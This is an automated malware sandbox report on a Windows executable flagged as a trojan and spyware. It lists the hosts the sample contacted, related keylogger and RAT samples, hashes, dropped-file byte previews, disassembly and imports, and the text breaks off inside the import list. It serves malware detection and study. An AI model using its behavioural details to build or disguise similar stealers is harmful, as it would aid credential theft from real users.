https://reallyfreegeoip.org/xml/	h8izmpp1ZM.exe, 00000001.00000002.1292113373.0000000000560000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3752731435.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3754906148.0000000003280000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589011
Start date and time:	2025-01-11 08:22:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	h8izmpp1ZM.exe renamed because original name is a hash value
Original Sample Name:	32d1a1b83308fea13c7cd921f59edaaf7ddc8756edd19523146d89fb711f1a24.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 54 Number of non-executed functions: 276
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegSvcs.exe, PID 7588 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:23:16	API Interceptor	11095915x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.32.1	BalphRTkPS.exe	Get hash	malicious	FormBook	Browse	www.aziziyeescortg.xyz/2pcx/
	25IvlOVEB1.exe	Get hash	malicious	FormBook	Browse	www.masterqq.pro/3vdc/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
193.122.130.0	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	dZMT94YYwO.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rwlPT9YJt0.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	YDg44STseR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	4AMVusDMPP.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
checkip.dyndns.com	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
api.telegram.org	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ORACLE-BMC-31898US	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
CLOUDFLARENETUS	z6tNjJC614.exe	Get hash	malicious	FormBook	Browse	104.21.42.77
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	lrw6UNGsUC.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	rACq8Eaix6.exe	Get hash	malicious	FormBook	Browse	104.21.88.139
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lrw6UNGsUC.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\h8izmpp1ZM.exe
File Type:	data
Category:	dropped
Size (bytes):	63474
Entropy (8bit):	7.884801568631727
Encrypted:	false
SSDEEP:	1536:BkV2rBOPWe9y+h3twSH44fk5xj36YAjqHm7l5aYcI:Bk8BOPX3m6rfq36ZSICI
MD5:	74CEE52085D9B660496CD477625E795F
SHA1:	2650A947BA8FD002C6650AEF69E4BB8921A603DD
SHA-256:	921BDFE02491314AA26DF6584EC19F58450D27A83E5C54ADC4CC92E2D8E92E08
SHA-512:	2809C1FA61D73723E7B3BF9C0265B577D187D52411CD8A2C66A7D0B664CA846432B0C883D38D0ED4B3A7E89639888C94EFD9EEFACFDF47D38B26C7B6E9156321
Malicious:	false
Reputation:	low
Preview:	EA06..n..Z;.52.J..i.M..I..h.)..e9...9..I.......L..f .....g..8Q._ZU#.N.D?.H..'f.......)..$6)L..!..-.YdFo0.F+u..N....+..e..O.[@.3a.QjWI..s.N.@....i.Z.6/I..h.).....}.>.E..F.Zp.....l....e9..Ff..Q.e..1..Tb.F..3.&.\..k.JEp.....N.y.:T....Q.?z......}i.J ....1...QZ}...9....C...v.8....Z...3......X....\|1...y.O&5....I...(.p....>.-2.....R.<..I..8? .B..8W......E..T\|{....G..@....o9..).<....)D......)....1.Qx.m<.w....bg0.T..zX.....8.3.(x..r.8.....s3`...8R......~..%@....s2.=..8.N"w.56...S.t[62sh....m..5.Y.S...wW.R.....O..(.%"...h...ve2...t...1...UJe&kT..).z.....S)...O..at.M>.h.Rf...:.G.F..Z..v..[#3.$.O..T....D.S..0.B.&.F.Uz5....Wi4ZE..c..j..e..1.....{\|.Yl4y ..g.X-t....H.Rct;\|.q@.Mj.jd.........<.q.....e6..<4...)d..l..U&gO.G..z\|....N&.(...O..cQ.M..B.\.x.".A..b.Z..e........mb.N....z.:..(..}.z.pPr....s...,..U&.O.`.....C.D/.).F.g.NfT.M..B.S.xX....TcV....C..F(.&og..)..L.8..T59....G....5..%...^.m.....b.k........I..x...n7E.q.....@.\.#.u.o......5...T.....U...&.....H.....U

C:\Users\user\AppData\Local\Temp\wherefore

Download File

Process:	C:\Users\user\Desktop\h8izmpp1ZM.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.86140275675372
Encrypted:	false
SSDEEP:	1536:SSmsYF2g9VKaslvIM8E5si5H0n8Xwm3K2RG1K++MIeq:nw9iaslv+di90Swm3KoG1dqX
MD5:	B38AA52EE243447C7178ACDCF29EC0DF
SHA1:	1A6D5DD578B2A43E168F85DDF83D8A70F849B6CD
SHA-256:	F1DE06B82C8F05FB2BFDB1A08420BB0E97DB2D5C6D5CADCB4AC3A424D198A9FA
SHA-512:	9AD3BC3CA0194A32571EDBCD9AC00E3E1562054AA04A95D7376400D881905B8BECE7EE30A2634B4D7139A3718CC14EE3B5F60AF3950BD6F66BBDCD809F67379C
Malicious:	false
Reputation:	low
Preview:	th.IFLBJM5OD..GI.EER8229.FOC92NIELBJI5ODHLGI1EER8229WFOC92NI.LBJG.JH.N...D...fQ>5o3K]);$!b)([!+<l%,.70<.[\....cT],kAO@m5ODHLGIa.ERt319.\|:.92NIELBJ.5MECM.I1!DR8:29WFOC7.OIElBJI.NDHL.I1eER8029SFOC92NIALBJI5ODH.FI1GER8229UF..92^IE\BJI5_DH\GI1EER(229WFOC92NI..CJ.5ODH.FI.@ER8229WFOC92NIELBJI.NDDLGI1EER8229WFOC92NIELBJI5ODHLGI1EER8229WFOC92NIELBJI.OD@LGI1EER8229_fOCq2NIELBJI5ODf8"1EEER,P39WfOC9VOIENBJI5ODHLGI1EER.22Yy4<1Z2NI.IBJI.NDHJGI1#DR8229WFOC92NI.LB.gG('/GI=EER8.39WDOC9^OIELBJI5ODHLGIqEE.8229WFOC92NIELBJ..NDHLGIyEER:279O.OC..NIFLBJ.5OB(.GI.EER8229WFOC92NIELBJI5ODHLGI1EER8229WFOC92NI.1.E..-;.I1EER830:S@GK92NIELBJ75OD.LGIqEER.229rFOCT2NIaLBJ75OD6LGIUEERJ2296FOC~2NILBJ'5OD6LGI/GmM828.qFMk.2NCEf.9h5ON.MGI56gR88.;WFK0.2NC.OBJMFkDHF.M1EA!.223.COC=..IF.TLI5T+pLGC1F.G>22"}`OA..NIOLhlI6.QNLGR.gEP.;29Sl.0$2NOm.BJCAFDHN.C1EAx&0.zWFEi.L]IEHiJc.1PHLCb1og,-22=\|FeaG$NIAgB`kKXDHHlI.Co08@.5W6L,X2NOm.BJC..DHJGc.E;\826;8.OC3.d.Ed.JI3Ol.LGO1m.R842..FOE9..IEJB`s5g.HLAI..ER>2..W8\|C96bN;.BJM.Y:yLGM.C=R

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.892036813861908
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	h8izmpp1ZM.exe
File size:	983'040 bytes
MD5:	d105b18ae5dd26346d6c7594c085b152
SHA1:	2f15492baa4fcb51e93f816a2e5d4ed69dd99d0c
SHA256:	32d1a1b83308fea13c7cd921f59edaaf7ddc8756edd19523146d89fb711f1a24
SHA512:	ced20f61e836bf39e07ea14b214380d4607ac85da80cdb016323304411635cf2748e83aa153b99e32ccf366b086ce3ee35897a0f8461df9427242a19c517bd26
SSDEEP:	24576:Bu6J33O0c+JY5UZ+XC0kGso6FaN2E0HGHjCWY:Tu0c++OCvkGs9FaNUGlY
TLSH:	6025BE2273DDC360CB669173BF69B3016EBF7C650630B85B2F981D79A960171262C7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	0b1888c999ad811f

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674EFD10 [Tue Dec 3 12:44:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FE7E508321Ah
jmp 00007FE7E5075FE4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FE7E507616Ah
cmp edi, eax
jc 00007FE7E50764CEh
bt dword ptr [004C31FCh], 01h
jnc 00007FE7E5076169h
rep movsb
jmp 00007FE7E507647Ch
cmp ecx, 00000080h
jc 00007FE7E5076334h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FE7E5076170h
bt dword ptr [004BE324h], 01h
jc 00007FE7E5076640h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FE7E507630Dh
test edi, 00000003h
jne 00007FE7E507631Eh
test esi, 00000003h
jne 00007FE7E50762FDh
bt edi, 02h
jnc 00007FE7E507616Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FE7E5076173h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FE7E50761C5h
bt esi, 03h
jnc 00007FE7E5076218h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x277ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xef000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x277ac	0x27800	5e3f2122c6be76193eaa954c1e694635	False	0.8735722409018988	data	7.706892726675848	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xef000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc7580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc76a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc77d0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 60472 x 60472 px/m	English	Great Britain	0.2639348134152102
RT_MENU	0xcb9f8	0x50	data	English	Great Britain	0.9
RT_STRING	0xcba48	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcbfdc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcc668	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xccaf8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcd0f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcd750	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcdbb8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcdd10	0x2057d	data			1.00038497248579
RT_GROUP_ICON	0xee290	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xee2a4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xee2b8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xee2cc	0x14	data	English	Great Britain	1.25
RT_VERSION	0xee2e0	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xee3bc	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, 